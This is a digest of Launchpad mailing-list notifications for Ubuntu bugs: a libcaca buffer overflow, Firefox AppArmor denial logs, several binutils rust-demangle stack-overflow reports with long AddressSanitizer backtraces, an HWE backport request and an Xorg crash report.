  Stack use after scope:   f8
  Global redzone:  f9
  Global init order:   f6
  Poisoned by user:f7
  Container overflow:  fc
  Array cookie:ac
  Intra object redzone:bb
  ASan internal:   fe
  Left alloca redzone: ca
  Right alloca redzone:cb
  Shadow gap:  cc
==3817476==ABORTING

Thanks

** Affects: libcaca (Ubuntu)
 Importance: Undecided
 Status: New

** Information type changed from Public to Public Security

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libcaca in Ubuntu.
https://bugs.launchpad.net/bugs/1925468

Title:
  stack-buffer-overflow of import.c in function _import_bin

Status in libcaca package in Ubuntu:
  New

Bug description:
  Hello ubuntu security team
  System info：
  Ubuntu 20.04 : clang 10.0.0 , gcc 9.3.0
  Fedora 33: clang 11.0.0 , gcc 10.2.1

  libcaca version e4968ba

  Verification steps：
  1.Get the source code of libcaca
  2.Compile the libcaca.so library

  $ cd 

[Touch-packages] [Bug 1861408] Re: firefox apparmor messages

[Olivier Tilloy]

Updated again for Python 3.9:
https://bazaar.launchpad.net/~mozillateam/firefox/firefox.hirsute/revision/1489

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1861408

Title:
  firefox apparmor messages

Status in apparmor package in Ubuntu:
  New
Status in firefox package in Ubuntu:
  Fix Released

Bug description:
  firefox version 72.0.1 64 bit, 72.0.1+linuxmint1+tricia , linux mint
  19.3.

  i see there is newer ubuntu version in
  
https://www.ubuntuupdates.org/package/ubuntu_mozilla_security/bionic/main/base/firefox
  , 72.0.2+build1-0ubuntu0.18.04.1 , but its changes are not for
  apparmor.

  i have not found a page for firefox bugs in linux mint sites, so i
  belive i should report here. but i have also asked about that in linux
  mint's irc and then github.

  i have enabled apparmor for firefox and see these types of messages in
  syslog:

  Jan 28 18:43:33 dinar-HP-Pavilion-g7-Notebook-PC dbus-daemon[735]:
  [system] Activating via systemd: service
  name='org.freedesktop.hostname1' unit='dbus-
  org.freedesktop.hostname1.service' requested by ':1.111' (uid=1000
  pid=1922 comm="/usr/lib/firefox/firefox " label="unconfined")

  Jan 28 18:44:36 dinar-HP-Pavilion-g7-Notebook-PC kernel: [
  5525.077960] audit: type=1400 audit(1580226276.440:27):
  apparmor="DENIED" operation="capable"
  profile="/usr/lib/firefox/firefox{,*[^s][^h]}" pid=15948
  comm="firefox" capability=21  capname="sys_admin"

  Jan 28 18:44:37 dinar-HP-Pavilion-g7-Notebook-PC kernel: [
  5526.471731] audit: type=1107 audit(1580226277.832:28): pid=735
  uid=103 auid=4294967295 ses=4294967295 msg='apparmor="DENIED"
  operation="dbus_method_call"  bus="system"
  path="/org/freedesktop/RealtimeKit1"
  interface="org.freedesktop.DBus.Properties" member="Get" mask="send"
  name="org.freedesktop.RealtimeKit1" pid=15948
  label="/usr/lib/firefox/firefox{,*[^s][^h]}" peer_pid=1320
  peer_label="unconfined"

  Jan 28 18:44:47 dinar-HP-Pavilion-g7-Notebook-PC dbus-daemon[1181]:
  apparmor="DENIED" operation="dbus_method_call"  bus="session"
  path="/org/gtk/vfs/Daemon" interface="org.gtk.vfs.Daemon"
  member="ListMonitorImplementations" mask="send" name=":1.10" pid=15948
  label="/usr/lib/firefox/firefox{,*[^s][^h]}" peer_pid=1262
  peer_label="unconfined"

  Jan 28 18:44:47 dinar-HP-Pavilion-g7-Notebook-PC dbus-daemon[1181]:
  apparmor="DENIED" operation="dbus_method_call"  bus="session"
  path="/org/gtk/Private/RemoteVolumeMonitor"
  interface="org.gtk.Private.RemoteVolumeMonitor" member="IsSupported"
  mask="send" name=":1.35" pid=15948
  label="/usr/lib/firefox/firefox{,*[^s][^h]}" peer_pid=1385
  peer_label="unconfined"

  Jan 28 18:44:47 dinar-HP-Pavilion-g7-Notebook-PC dbus-daemon[1181]:
  apparmor="DENIED" operation="dbus_method_call"  bus="session"
  path="/org/gtk/vfs/mounttracker" interface="org.gtk.vfs.MountTracker"
  member="ListMounts2" mask="send" name=":1.10" pid=15948
  label="/usr/lib/firefox/firefox{,*[^s][^h]}" peer_pid=1262
  peer_label="unconfined"

  Jan 28 18:44:47 dinar-HP-Pavilion-g7-Notebook-PC dbus-daemon[1181]:
  apparmor="DENIED" operation="dbus_method_call"  bus="session"
  path="/org/gtk/vfs/mounttracker" interface="org.gtk.vfs.MountTracker"
  member="LookupMount" mask="send" name=":1.10" pid=15948
  label="/usr/lib/firefox/firefox{,*[^s][^h]}" peer_pid=1262
  peer_label="unconfined"

  Jan 28 18:44:48 dinar-HP-Pavilion-g7-Notebook-PC dbus-daemon[735]:
  [system] Activating via systemd: service
  name='org.freedesktop.hostname1' unit='dbus-
  org.freedesktop.hostname1.service' requested by ':1.119' (uid=1000
  pid=15948 comm="/usr/lib/firefox/firefox "
  label="/usr/lib/firefox/firefox{,*[^s][^h]} (enforce)")

  Jan 28 18:44:48 dinar-HP-Pavilion-g7-Notebook-PC kernel: [
  5536.783313] audit: type=1107 audit(1580226288.143:34): pid=735
  uid=103 auid=4294967295 ses=4294967295 msg='apparmor="DENIED"
  operation="dbus_method_call"  bus="system"
  path="/org/freedesktop/hostname1"
  interface="org.freedesktop.DBus.Properties" member="GetAll"
  mask="send" name=":1.120" pid=15948
  label="/usr/lib/firefox/firefox{,*[^s][^h]}" peer_pid=16177
  peer_label="unconfined"

  Jan 28 18:45:02 dinar-HP-Pavilion-g7-Notebook-PC dbus-daemon[1181]:
  apparmor="DENIED" operation="dbus_method_call"  bus="session"
  path="/ca/desrt/dconf/Writer/user" interface="ca.desrt.dconf.Writer"
  member="Change" mask="send" name="ca.desrt.dconf" pid=15948
  label="/usr/lib/firefox/firefox{,*[^s][^h]}" peer_pid=1370
  peer_label="unconfined"

  Jan 28 21:51:30 dinar-HP-Pavilion-g7-Notebook-PC kernel:
  [10131.880788] audit: type=1400 audit(1580237490.777:123):
  apparmor="DENIED" operation="open"
  profile="/usr/lib/firefox/firefox{,*[^s][^h]}"
  name="/home/dinar/.cache/mesa_shader_cache/index" pid=19720
  comm="firefox" requested_mask="wrc" denied_mask="wrc" fsuid=1000
  ouid=1000

  these appeared while saving a 

[Touch-packages] [Bug 1861408] Re: firefox apparmor messages

[Launchpad Bug Tracker]

** Branch linked: lp:firefox

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1861408

Title:
  firefox apparmor messages

Status in apparmor package in Ubuntu:
  New
Status in firefox package in Ubuntu:
  Fix Released

Bug description:
  firefox version 72.0.1 64 bit, 72.0.1+linuxmint1+tricia , linux mint
  19.3.

  i see there is newer ubuntu version in
  
https://www.ubuntuupdates.org/package/ubuntu_mozilla_security/bionic/main/base/firefox
  , 72.0.2+build1-0ubuntu0.18.04.1 , but its changes are not for
  apparmor.

  i have not found a page for firefox bugs in linux mint sites, so i
  belive i should report here. but i have also asked about that in linux
  mint's irc and then github.

  i have enabled apparmor for firefox and see these types of messages in
  syslog:

  Jan 28 18:43:33 dinar-HP-Pavilion-g7-Notebook-PC dbus-daemon[735]:
  [system] Activating via systemd: service
  name='org.freedesktop.hostname1' unit='dbus-
  org.freedesktop.hostname1.service' requested by ':1.111' (uid=1000
  pid=1922 comm="/usr/lib/firefox/firefox " label="unconfined")

  Jan 28 18:44:36 dinar-HP-Pavilion-g7-Notebook-PC kernel: [
  5525.077960] audit: type=1400 audit(1580226276.440:27):
  apparmor="DENIED" operation="capable"
  profile="/usr/lib/firefox/firefox{,*[^s][^h]}" pid=15948
  comm="firefox" capability=21  capname="sys_admin"

  Jan 28 18:44:37 dinar-HP-Pavilion-g7-Notebook-PC kernel: [
  5526.471731] audit: type=1107 audit(1580226277.832:28): pid=735
  uid=103 auid=4294967295 ses=4294967295 msg='apparmor="DENIED"
  operation="dbus_method_call"  bus="system"
  path="/org/freedesktop/RealtimeKit1"
  interface="org.freedesktop.DBus.Properties" member="Get" mask="send"
  name="org.freedesktop.RealtimeKit1" pid=15948
  label="/usr/lib/firefox/firefox{,*[^s][^h]}" peer_pid=1320
  peer_label="unconfined"

  Jan 28 18:44:47 dinar-HP-Pavilion-g7-Notebook-PC dbus-daemon[1181]:
  apparmor="DENIED" operation="dbus_method_call"  bus="session"
  path="/org/gtk/vfs/Daemon" interface="org.gtk.vfs.Daemon"
  member="ListMonitorImplementations" mask="send" name=":1.10" pid=15948
  label="/usr/lib/firefox/firefox{,*[^s][^h]}" peer_pid=1262
  peer_label="unconfined"

  Jan 28 18:44:47 dinar-HP-Pavilion-g7-Notebook-PC dbus-daemon[1181]:
  apparmor="DENIED" operation="dbus_method_call"  bus="session"
  path="/org/gtk/Private/RemoteVolumeMonitor"
  interface="org.gtk.Private.RemoteVolumeMonitor" member="IsSupported"
  mask="send" name=":1.35" pid=15948
  label="/usr/lib/firefox/firefox{,*[^s][^h]}" peer_pid=1385
  peer_label="unconfined"

  Jan 28 18:44:47 dinar-HP-Pavilion-g7-Notebook-PC dbus-daemon[1181]:
  apparmor="DENIED" operation="dbus_method_call"  bus="session"
  path="/org/gtk/vfs/mounttracker" interface="org.gtk.vfs.MountTracker"
  member="ListMounts2" mask="send" name=":1.10" pid=15948
  label="/usr/lib/firefox/firefox{,*[^s][^h]}" peer_pid=1262
  peer_label="unconfined"

  Jan 28 18:44:47 dinar-HP-Pavilion-g7-Notebook-PC dbus-daemon[1181]:
  apparmor="DENIED" operation="dbus_method_call"  bus="session"
  path="/org/gtk/vfs/mounttracker" interface="org.gtk.vfs.MountTracker"
  member="LookupMount" mask="send" name=":1.10" pid=15948
  label="/usr/lib/firefox/firefox{,*[^s][^h]}" peer_pid=1262
  peer_label="unconfined"

  Jan 28 18:44:48 dinar-HP-Pavilion-g7-Notebook-PC dbus-daemon[735]:
  [system] Activating via systemd: service
  name='org.freedesktop.hostname1' unit='dbus-
  org.freedesktop.hostname1.service' requested by ':1.119' (uid=1000
  pid=15948 comm="/usr/lib/firefox/firefox "
  label="/usr/lib/firefox/firefox{,*[^s][^h]} (enforce)")

  Jan 28 18:44:48 dinar-HP-Pavilion-g7-Notebook-PC kernel: [
  5536.783313] audit: type=1107 audit(1580226288.143:34): pid=735
  uid=103 auid=4294967295 ses=4294967295 msg='apparmor="DENIED"
  operation="dbus_method_call"  bus="system"
  path="/org/freedesktop/hostname1"
  interface="org.freedesktop.DBus.Properties" member="GetAll"
  mask="send" name=":1.120" pid=15948
  label="/usr/lib/firefox/firefox{,*[^s][^h]}" peer_pid=16177
  peer_label="unconfined"

  Jan 28 18:45:02 dinar-HP-Pavilion-g7-Notebook-PC dbus-daemon[1181]:
  apparmor="DENIED" operation="dbus_method_call"  bus="session"
  path="/ca/desrt/dconf/Writer/user" interface="ca.desrt.dconf.Writer"
  member="Change" mask="send" name="ca.desrt.dconf" pid=15948
  label="/usr/lib/firefox/firefox{,*[^s][^h]}" peer_pid=1370
  peer_label="unconfined"

  Jan 28 21:51:30 dinar-HP-Pavilion-g7-Notebook-PC kernel:
  [10131.880788] audit: type=1400 audit(1580237490.777:123):
  apparmor="DENIED" operation="open"
  profile="/usr/lib/firefox/firefox{,*[^s][^h]}"
  name="/home/dinar/.cache/mesa_shader_cache/index" pid=19720
  comm="firefox" requested_mask="wrc" denied_mask="wrc" fsuid=1000
  ouid=1000

  these appeared while saving a file:

  Jan 30 11:08:28 dinar-HP-Pavilion-g7-Notebook-PC dbus-daemon[1151]:
  

[Touch-packages] [Bug 1925401] Re: stack-overflow on binutils/__interceptor_strlen

[Matthias Klose]

*** This bug is a duplicate of bug 1925348 ***
https://bugs.launchpad.net/bugs/1925348

** This bug has been marked a duplicate of bug 1925348
   stack-overflow on GNU libiberty/rust-demangle.c:664 demangle_path

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to binutils in Ubuntu.
https://bugs.launchpad.net/bugs/1925401

Title:
  stack-overflow on binutils/__interceptor_strlen

Status in binutils package in Ubuntu:
  New

Bug description:
  ==36966==ERROR: AddressSanitizer: stack-overflow on address 0x7ffc5b883fe8 
(pc 0x7f07be5f21a4 bp 0x7ffc5b884860 sp 0x7ffc5b883ff0 T0)
  #0 0x7f07be5f21a3 in __interceptor_strlen 
(/usr/lib/x86_64-linux-gnu/libasan.so.2+0x701a3)
  #1 0x6a3f4a in demangle_type rust-demangle.c:869
  #2 0x6a40d5 in demangle_type rust-demangle.c:903
  #3 0x6a44d7 in demangle_type rust-demangle.c:972
  #4 0x6a399d in demangle_path rust-demangle.c:747
  #5 0x6a4929 in demangle_type rust-demangle.c:1031
  #6 0x6a4897 in demangle_type rust-demangle.c:1024
  #7 0x6a44d7 in demangle_type rust-demangle.c:972
  #8 0x6a399d in demangle_path rust-demangle.c:747
  #9 0x6a4929 in demangle_type rust-demangle.c:1031
  #10 0x6a4897 in demangle_type rust-demangle.c:1024
  #11 0x6a44d7 in demangle_type rust-demangle.c:972
  #12 0x6a399d in demangle_path rust-demangle.c:747
  #13 0x6a4929 in demangle_type rust-demangle.c:1031
  #14 0x6a4897 in demangle_type rust-demangle.c:1024
  #15 0x6a44d7 in demangle_type rust-demangle.c:972
  #16 0x6a399d in demangle_path rust-demangle.c:747
  #17 0x6a4929 in demangle_type rust-demangle.c:1031
  #18 0x6a4897 in demangle_type rust-demangle.c:1024
  #19 0x6a44d7 in demangle_type rust-demangle.c:972
  #20 0x6a399d in demangle_path rust-demangle.c:747
  #21 0x6a4929 in demangle_type rust-demangle.c:1031
  #22 0x6a4897 in demangle_type rust-demangle.c:1024
  #23 0x6a44d7 in demangle_type rust-demangle.c:972
  #24 0x6a399d in demangle_path rust-demangle.c:747
  #25 0x6a4929 in demangle_type rust-demangle.c:1031
  #26 0x6a4897 in demangle_type rust-demangle.c:1024
  #27 0x6a44d7 in demangle_type rust-demangle.c:972
  #28 0x6a399d in demangle_path rust-demangle.c:747
  #29 0x6a4929 in demangle_type rust-demangle.c:1031
  #30 0x6a4897 in demangle_type rust-demangle.c:1024
  #31 0x6a44d7 in demangle_type rust-demangle.c:972
  #32 0x6a399d in demangle_path rust-demangle.c:747
  #33 0x6a4929 in demangle_type rust-demangle.c:1031
  #34 0x6a4897 in demangle_type rust-demangle.c:1024
  #35 0x6a44d7 in demangle_type rust-demangle.c:972
  #36 0x6a399d in demangle_path rust-demangle.c:747
  #37 0x6a4929 in demangle_type rust-demangle.c:1031
  #38 0x6a4897 in demangle_type rust-demangle.c:1024
  #39 0x6a44d7 in demangle_type rust-demangle.c:972
  #40 0x6a399d in demangle_path rust-demangle.c:747
  #41 0x6a4929 in demangle_type rust-demangle.c:1031
  #42 0x6a4897 in demangle_type rust-demangle.c:1024
  #43 0x6a44d7 in demangle_type rust-demangle.c:972
  #44 0x6a399d in demangle_path rust-demangle.c:747
  #45 0x6a4929 in demangle_type rust-demangle.c:1031
  #46 0x6a4897 in demangle_type rust-demangle.c:1024
  #47 0x6a44d7 in demangle_type rust-demangle.c:972
  #48 0x6a399d in demangle_path rust-demangle.c:747
  #49 0x6a4929 in demangle_type rust-demangle.c:1031
  #50 0x6a4897 in demangle_type rust-demangle.c:1024
  #51 0x6a44d7 in demangle_type rust-demangle.c:972
  #52 0x6a399d in demangle_path rust-demangle.c:747
  #53 0x6a4929 in demangle_type rust-demangle.c:1031
  #54 0x6a4897 in demangle_type rust-demangle.c:1024
  #55 0x6a44d7 in demangle_type rust-demangle.c:972
  #56 0x6a399d in demangle_path rust-demangle.c:747
  #57 0x6a4929 in demangle_type rust-demangle.c:1031
  #58 0x6a4897 in demangle_type rust-demangle.c:1024
  #59 0x6a44d7 in demangle_type rust-demangle.c:972
  #60 0x6a399d in demangle_path rust-demangle.c:747
  #61 0x6a4929 in demangle_type rust-demangle.c:1031
  #62 0x6a4897 in demangle_type rust-demangle.c:1024
  #63 0x6a44d7 in demangle_type rust-demangle.c:972
  #64 0x6a399d in demangle_path rust-demangle.c:747
  #65 0x6a4929 in demangle_type rust-demangle.c:1031
  #66 0x6a4897 in demangle_type rust-demangle.c:1024
  #67 0x6a44d7 in demangle_type rust-demangle.c:972
  #68 0x6a399d in demangle_path rust-demangle.c:747
  #69 0x6a4929 in demangle_type rust-demangle.c:1031
  #70 0x6a4897 in demangle_type rust-demangle.c:1024
  #71 0x6a44d7 in demangle_type rust-demangle.c:972
  #72 0x6a399d in demangle_path rust-demangle.c:747
  #73 0x6a4929 in demangle_type rust-demangle.c:1031
  #74 0x6a4897 in demangle_type rust-demangle.c:1024
  #75 0x6a44d7 in demangle_type rust-demangle.c:972
  #76 0x6a399d 

[Touch-packages] [Bug 1925400] Re: stack-overflow on binutils/in __asan_memcpy

[Matthias Klose]

*** This bug is a duplicate of bug 1925348 ***
https://bugs.launchpad.net/bugs/1925348

** This bug has been marked a duplicate of bug 1925348
   stack-overflow on GNU libiberty/rust-demangle.c:664 demangle_path

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to binutils in Ubuntu.
https://bugs.launchpad.net/bugs/1925400

Title:
  stack-overflow on binutils/in __asan_memcpy

Status in binutils package in Ubuntu:
  New

Bug description:
  ==32900==ERROR: AddressSanitizer: stack-overflow on address 0x7ffe20ebff88 
(pc 0x7faa529f75cf bp 0x7ffe20ec0800 sp 0x7ffe20ebff90 T0)
  #0 0x7faa529f75ce in __asan_memcpy 
(/usr/lib/x86_64-linux-gnu/libasan.so.2+0x8c5ce)
  #1 0x6a660a in str_buf_append rust-demangle.c:1490
  #2 0x6a6651 in str_buf_demangle_callback rust-demangle.c:1497
  #3 0x6a131f in print_str rust-demangle.c:273
  #4 0x6a398e in demangle_path rust-demangle.c:746
  #5 0x6a4929 in demangle_type rust-demangle.c:1031
  #6 0x6a4897 in demangle_type rust-demangle.c:1024
  #7 0x6a399d in demangle_path rust-demangle.c:747
  #8 0x6a4929 in demangle_type rust-demangle.c:1031
  #9 0x6a4897 in demangle_type rust-demangle.c:1024
  #10 0x6a399d in demangle_path rust-demangle.c:747
  #11 0x6a4929 in demangle_type rust-demangle.c:1031
  #12 0x6a4897 in demangle_type rust-demangle.c:1024
  #13 0x6a399d in demangle_path rust-demangle.c:747
  #14 0x6a4929 in demangle_type rust-demangle.c:1031
  #15 0x6a4897 in demangle_type rust-demangle.c:1024
  #16 0x6a399d in demangle_path rust-demangle.c:747
  #17 0x6a4929 in demangle_type rust-demangle.c:1031
  #18 0x6a4897 in demangle_type rust-demangle.c:1024
  #19 0x6a399d in demangle_path rust-demangle.c:747
  #20 0x6a4929 in demangle_type rust-demangle.c:1031
  #21 0x6a4897 in demangle_type rust-demangle.c:1024
  #22 0x6a399d in demangle_path rust-demangle.c:747
  #23 0x6a4929 in demangle_type rust-demangle.c:1031
  #24 0x6a4897 in demangle_type rust-demangle.c:1024
  #25 0x6a399d in demangle_path rust-demangle.c:747
  #26 0x6a4929 in demangle_type rust-demangle.c:1031
  #27 0x6a4897 in demangle_type rust-demangle.c:1024
  #28 0x6a399d in demangle_path rust-demangle.c:747
  #29 0x6a4929 in demangle_type rust-demangle.c:1031
  #30 0x6a4897 in demangle_type rust-demangle.c:1024
  #31 0x6a399d in demangle_path rust-demangle.c:747
  #32 0x6a4929 in demangle_type rust-demangle.c:1031
  #33 0x6a4897 in demangle_type rust-demangle.c:1024
  #34 0x6a399d in demangle_path rust-demangle.c:747
  #35 0x6a4929 in demangle_type rust-demangle.c:1031
  #36 0x6a4897 in demangle_type rust-demangle.c:1024
  #37 0x6a399d in demangle_path rust-demangle.c:747
  #38 0x6a4929 in demangle_type rust-demangle.c:1031
  #39 0x6a4897 in demangle_type rust-demangle.c:1024
  #40 0x6a399d in demangle_path rust-demangle.c:747
  #41 0x6a4929 in demangle_type rust-demangle.c:1031
  #42 0x6a4897 in demangle_type rust-demangle.c:1024
  #43 0x6a399d in demangle_path rust-demangle.c:747
  #44 0x6a4929 in demangle_type rust-demangle.c:1031
  #45 0x6a4897 in demangle_type rust-demangle.c:1024
  #46 0x6a399d in demangle_path rust-demangle.c:747
  #47 0x6a4929 in demangle_type rust-demangle.c:1031
  #48 0x6a4897 in demangle_type rust-demangle.c:1024
  #49 0x6a399d in demangle_path rust-demangle.c:747
  #50 0x6a4929 in demangle_type rust-demangle.c:1031
  #51 0x6a4897 in demangle_type rust-demangle.c:1024
  #52 0x6a399d in demangle_path rust-demangle.c:747
  #53 0x6a4929 in demangle_type rust-demangle.c:1031
  #54 0x6a4897 in demangle_type rust-demangle.c:1024
  #55 0x6a399d in demangle_path rust-demangle.c:747
  #56 0x6a4929 in demangle_type rust-demangle.c:1031
  #57 0x6a4897 in demangle_type rust-demangle.c:1024
  #58 0x6a399d in demangle_path rust-demangle.c:747
  #59 0x6a4929 in demangle_type rust-demangle.c:1031
  #60 0x6a4897 in demangle_type rust-demangle.c:1024
  #61 0x6a399d in demangle_path rust-demangle.c:747
  #62 0x6a4929 in demangle_type rust-demangle.c:1031
  #63 0x6a4897 in demangle_type rust-demangle.c:1024
  #64 0x6a399d in demangle_path rust-demangle.c:747
  #65 0x6a4929 in demangle_type rust-demangle.c:1031
  #66 0x6a4897 in demangle_type rust-demangle.c:1024
  #67 0x6a399d in demangle_path rust-demangle.c:747
  #68 0x6a4929 in demangle_type rust-demangle.c:1031
  #69 0x6a4897 in demangle_type rust-demangle.c:1024
  #70 0x6a399d in demangle_path rust-demangle.c:747
  #71 0x6a4929 in demangle_type rust-demangle.c:1031
  #72 0x6a4897 in demangle_type rust-demangle.c:1024
  #73 0x6a399d in demangle_path rust-demangle.c:747
  #74 0x6a4929 in demangle_type rust-demangle.c:1031
  #75 0x6a4897 in demangle_type rust-demangle.c:1024
  

[Touch-packages] [Bug 1925348] Re: stack-overflow on GNU libiberty/rust-demangle.c:664 demangle_path

[Matthias Klose]

please don't submit issues like this without a reproducer.


** Changed in: binutils (Ubuntu)
   Status: New => Incomplete

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to binutils in Ubuntu.
https://bugs.launchpad.net/bugs/1925348

Title:
  stack-overflow on GNU libiberty/rust-demangle.c:664 demangle_path

Status in binutils package in Ubuntu:
  Incomplete

Bug description:
  ==34504==ERROR: AddressSanitizer: stack-overflow on address 0x7ffee6038f48 
(pc 0x006a3331 bp 0x7ffee6039060 sp 0x7ffee6038f20 T0)
  #0 0x6a3330 in demangle_path rust-demangle.c:664
  #1 0x6a3bd1 in demangle_path rust-demangle.c:774
  #2 0x6a3bd1 in demangle_path rust-demangle.c:774
  #3 0x6a3bd1 in demangle_path rust-demangle.c:774
  #4 0x6a3bd1 in demangle_path rust-demangle.c:774
  #5 0x6a3bd1 in demangle_path rust-demangle.c:774
  #6 0x6a3bd1 in demangle_path rust-demangle.c:774
  #7 0x6a3bd1 in demangle_path rust-demangle.c:774
  #8 0x6a3bd1 in demangle_path rust-demangle.c:774
  #9 0x6a3bd1 in demangle_path rust-demangle.c:774
  #10 0x6a3bd1 in demangle_path rust-demangle.c:774
  #11 0x6a3bd1 in demangle_path rust-demangle.c:774
  #12 0x6a3bd1 in demangle_path rust-demangle.c:774
  #13 0x6a3bd1 in demangle_path rust-demangle.c:774
  #14 0x6a3bd1 in demangle_path rust-demangle.c:774
  #15 0x6a3bd1 in demangle_path rust-demangle.c:774
  #16 0x6a3bd1 in demangle_path rust-demangle.c:774
  #17 0x6a3bd1 in demangle_path rust-demangle.c:774
  #18 0x6a3bd1 in demangle_path rust-demangle.c:774
  #19 0x6a3bd1 in demangle_path rust-demangle.c:774
  #20 0x6a3bd1 in demangle_path rust-demangle.c:774
  #21 0x6a3bd1 in demangle_path rust-demangle.c:774
  #22 0x6a3bd1 in demangle_path rust-demangle.c:774
  #23 0x6a3bd1 in demangle_path rust-demangle.c:774
  #24 0x6a3bd1 in demangle_path rust-demangle.c:774
  #25 0x6a3bd1 in demangle_path rust-demangle.c:774
  #26 0x6a3bd1 in demangle_path rust-demangle.c:774
  #27 0x6a3bd1 in demangle_path rust-demangle.c:774
  #28 0x6a3bd1 in demangle_path rust-demangle.c:774
  #29 0x6a3bd1 in demangle_path rust-demangle.c:774
  #30 0x6a3bd1 in demangle_path rust-demangle.c:774
  #31 0x6a3bd1 in demangle_path rust-demangle.c:774
  #32 0x6a3bd1 in demangle_path rust-demangle.c:774
  #33 0x6a3bd1 in demangle_path rust-demangle.c:774
  #34 0x6a3bd1 in demangle_path rust-demangle.c:774
  #35 0x6a3bd1 in demangle_path rust-demangle.c:774
  #36 0x6a3bd1 in demangle_path rust-demangle.c:774
  #37 0x6a3bd1 in demangle_path rust-demangle.c:774
  #38 0x6a3bd1 in demangle_path rust-demangle.c:774
  #39 0x6a3bd1 in demangle_path rust-demangle.c:774
  #40 0x6a3bd1 in demangle_path rust-demangle.c:774
  #41 0x6a3bd1 in demangle_path rust-demangle.c:774
  #42 0x6a3bd1 in demangle_path rust-demangle.c:774
  #43 0x6a3bd1 in demangle_path rust-demangle.c:774
  #44 0x6a3bd1 in demangle_path rust-demangle.c:774
  #45 0x6a3bd1 in demangle_path rust-demangle.c:774
  #46 0x6a3bd1 in demangle_path rust-demangle.c:774
  #47 0x6a3bd1 in demangle_path rust-demangle.c:774
  #48 0x6a3bd1 in demangle_path rust-demangle.c:774
  #49 0x6a3bd1 in demangle_path rust-demangle.c:774
  #50 0x6a3bd1 in demangle_path rust-demangle.c:774
  #51 0x6a3bd1 in demangle_path rust-demangle.c:774
  #52 0x6a3bd1 in demangle_path rust-demangle.c:774
  #53 0x6a3bd1 in demangle_path rust-demangle.c:774
  #54 0x6a3bd1 in demangle_path rust-demangle.c:774
  #55 0x6a3bd1 in demangle_path rust-demangle.c:774
  #56 0x6a3bd1 in demangle_path rust-demangle.c:774
  #57 0x6a3bd1 in demangle_path rust-demangle.c:774
  #58 0x6a3bd1 in demangle_path rust-demangle.c:774
  #59 0x6a3bd1 in demangle_path rust-demangle.c:774
  #60 0x6a3bd1 in demangle_path rust-demangle.c:774
  #61 0x6a3bd1 in demangle_path rust-demangle.c:774
  #62 0x6a3bd1 in demangle_path rust-demangle.c:774
  #63 0x6a3bd1 in demangle_path rust-demangle.c:774
  #64 0x6a3bd1 in demangle_path rust-demangle.c:774
  #65 0x6a3bd1 in demangle_path rust-demangle.c:774
  #66 0x6a3bd1 in demangle_path rust-demangle.c:774
  #67 0x6a3bd1 in demangle_path rust-demangle.c:774
  #68 0x6a3bd1 in demangle_path rust-demangle.c:774
  #69 0x6a3bd1 in demangle_path rust-demangle.c:774
  #70 0x6a3bd1 in demangle_path rust-demangle.c:774
  #71 0x6a3bd1 in demangle_path rust-demangle.c:774
  #72 0x6a3bd1 in demangle_path rust-demangle.c:774
  #73 0x6a3bd1 in demangle_path rust-demangle.c:774
  #74 0x6a3bd1 in demangle_path rust-demangle.c:774
  #75 0x6a3bd1 in demangle_path rust-demangle.c:774
  #76 0x6a3bd1 in demangle_path rust-demangle.c:774
  #77 0x6a3bd1 in demangle_path rust-demangle.c:774
  #78 0x6a3bd1 in demangle_path 

[Touch-packages] [Bug 1925320] Re: Backport packages for 20.04.3 HWE stack

[Timo Aaltonen]

** Changed in: libdrm (Ubuntu Focal)
 Assignee: (unassigned) => Timo Aaltonen (tjaalton)

** Changed in: mesa (Ubuntu Focal)
 Assignee: (unassigned) => Timo Aaltonen (tjaalton)

** Changed in: xorg-server (Ubuntu Focal)
 Assignee: (unassigned) => Timo Aaltonen (tjaalton)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libdrm in Ubuntu.
https://bugs.launchpad.net/bugs/1925320

Title:
  Backport packages for 20.04.3 HWE stack

Status in directx-headers package in Ubuntu:
  Invalid
Status in libdrm package in Ubuntu:
  Invalid
Status in llvm-toolchain-12 package in Ubuntu:
  Invalid
Status in mesa package in Ubuntu:
  Invalid
Status in xorg-server package in Ubuntu:
  Invalid
Status in directx-headers source package in Focal:
  New
Status in libdrm source package in Focal:
  New
Status in llvm-toolchain-12 source package in Focal:
  New
Status in mesa source package in Focal:
  New
Status in xorg-server source package in Focal:
  New

Bug description:
  [Impact]

  These are needed for 20.04.3 images.

  [Test case]

  Boot a daily image, see that it still has the necessary stack
  installed and working.

  [What could go wrong]

  directx-headers: a new package, nothing can go wrong

  libdrm: adds some new api, no changes to old stuff

  llvm-12: a new package, no regression potential on it's own

  libclc: just a rebuild against the new llvm

  mesa: a new major release, but we'll pull the final stable release of
  21.0.x series, so there shouldn't be any regressions left at that
  point

  xserver: a new point-release, 1.20.x series is in deep maintenance
  mode, so there should be little chance of breakage

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/directx-headers/+bug/1925320/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

Re: [Touch-packages] [Bug 1918855] Re: Xorg xserver got signal 6 to abort

[You-Sheng Yang]

Also reproduced on RKL SDP (202102-28687) running 5.12-rc8. Checking
drm-tip.


** Attachment added: "dmesg.RKL-SDP.5.12.0-8-generic"
   
https://bugs.launchpad.net/bugs/1918855/+attachment/5490918/+files/dmesg.RKL-SDP.5.12.0-8-generic

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to mesa in Ubuntu.
https://bugs.launchpad.net/bugs/1918855

Title:
  Xorg xserver got signal 6 to abort

Status in Mesa:
  Unknown
Status in OEM Priority Project:
  In Progress
Status in mesa package in Ubuntu:
  New

Bug description:
  I run checkbox job
  com.canonical.certification::memory/memory_stress_ng on focal, and the
  xserver stops unexpectedly with the following stacktrace:

  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 0: /usr/lib/xorg/Xorg 
(OsLookupColor+0x13c) [0x5619f3a4d59c]
